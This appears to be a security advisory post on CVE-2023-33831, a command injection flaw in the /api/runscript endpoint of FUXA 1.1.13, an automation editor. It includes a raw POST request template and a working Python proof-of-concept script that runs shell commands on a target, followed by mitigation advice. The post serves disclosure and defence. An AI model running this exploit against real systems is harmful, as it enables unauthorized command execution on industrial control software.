CVE-2023-33831 - FUXA 1.1.13 Remote Command Execution Vulnerability in /api/runscript Endpoint Exploitation

A recently discovered vulnerability, CVE-2023-33831, exposes a critical Remote Command Execution (RCE) flaw in version 1.1.13 of FUXA, a popular open-source editor for automation systems. This vulnerability specifically affects the /api/runscript endpoint, enabling attackers to execute arbitrary commands via a carefully crafted POST request. In this post, we'll delve into the details of this vulnerability, including affected versions, how to reproduce the vulnerability, as well as potential mitigation strategies.

Affected Versions

FUXA version 1.1.13 is confirmed to be susceptible to this RCE vulnerability. However, other versions might also be impacted, especially those preceding version 1.1.13.

Exploit Details

The /api/runscript endpoint in FUXA 1.1.13 does not properly sanitize user input in the POST request parameters, particularly the exec parameter. This allows a remote attacker to inject arbitrary commands, which are then executed on the server as part of the request.

Here's a sample POST request demonstrating the RCE vulnerability

POST /api/runscript HTTP/1.1
Host: vulnerable_host.com
Content-Type: application/json
{
 "exec": "arbitrary_command",
 "args": [ "some_argument" ]
}

Using the sample from above, an attacker can directly inject malicious code into the exec parameter to cause havoc on the target system.

Proof of Concept

A Python script is provided below to demonstrate the exploit in action. Ensure to replace the FUXA_HOST and FUXA_PORT variables with your target's information.

import requests

FUXA_HOST = "your_target_host"
FUXA_PORT = "your_target_port"

def exploit(host, port):
    url = f"http://{host}:{port}/api/runscript";

    headers = {
        "Content-Type": "application/json"
    }

    payload = {
        "exec": "touch /tmp/CVE-2023-33831; echo 'RCE' > /tmp/CVE-2023-33831",
        "args": []
    }

    response = requests.post(url, json=payload, headers=headers)
    print(response.text)

if __name__ == "__main__":
    exploit(FUXA_HOST, FUXA_PORT)

Executing this script will create a file named CVE-2023-33831 in the /tmp directory with the content RCE. This serves as evidence of the successful RCE attack.

Mitigation and Prevention

To minimize the impact of this vulnerability, it's essential to adhere to the following best practices:

1. Update to the latest version as soon as possible. When a fix becomes available for this vulnerability, running an update will close the security gap and prevent attackers from exploiting it.
2. Sanitize all inputs to ensure only expected values are processed. If sanitization is not properly implemented in the functionality, threat actors could potentially abuse the code to execute malicious requests.
3. Limit access to sensitive endpoints. Employ access control mechanisms to restrict which users can access your API endpoint.
4. Constantly monitor and audit your application. This practice is critical in identifying abnormalities early on and thwarting potential attacks.

References

- FUXA GitHub Repository
- CVE-2023-33831 Details on NIST NVD

Conclusion

CVE-2023-33831 is a dangerous RCE vulnerability which, if exploited, can cause significant harm to the targeted system and sensitive information. Users of FUXA 1.1.13 should remain vigilant and adhere to the recommendations provided until an official fix is available for this vulnerability. Stay informed on further developments related to CVE-2023-33831 and other software risks by following your trusted sources for vulnerability updates and security news.

Timeline

Published on: 09/18/2023 20:15:00 UTC
Last modified on: 09/19/2023 21:24:00 UTC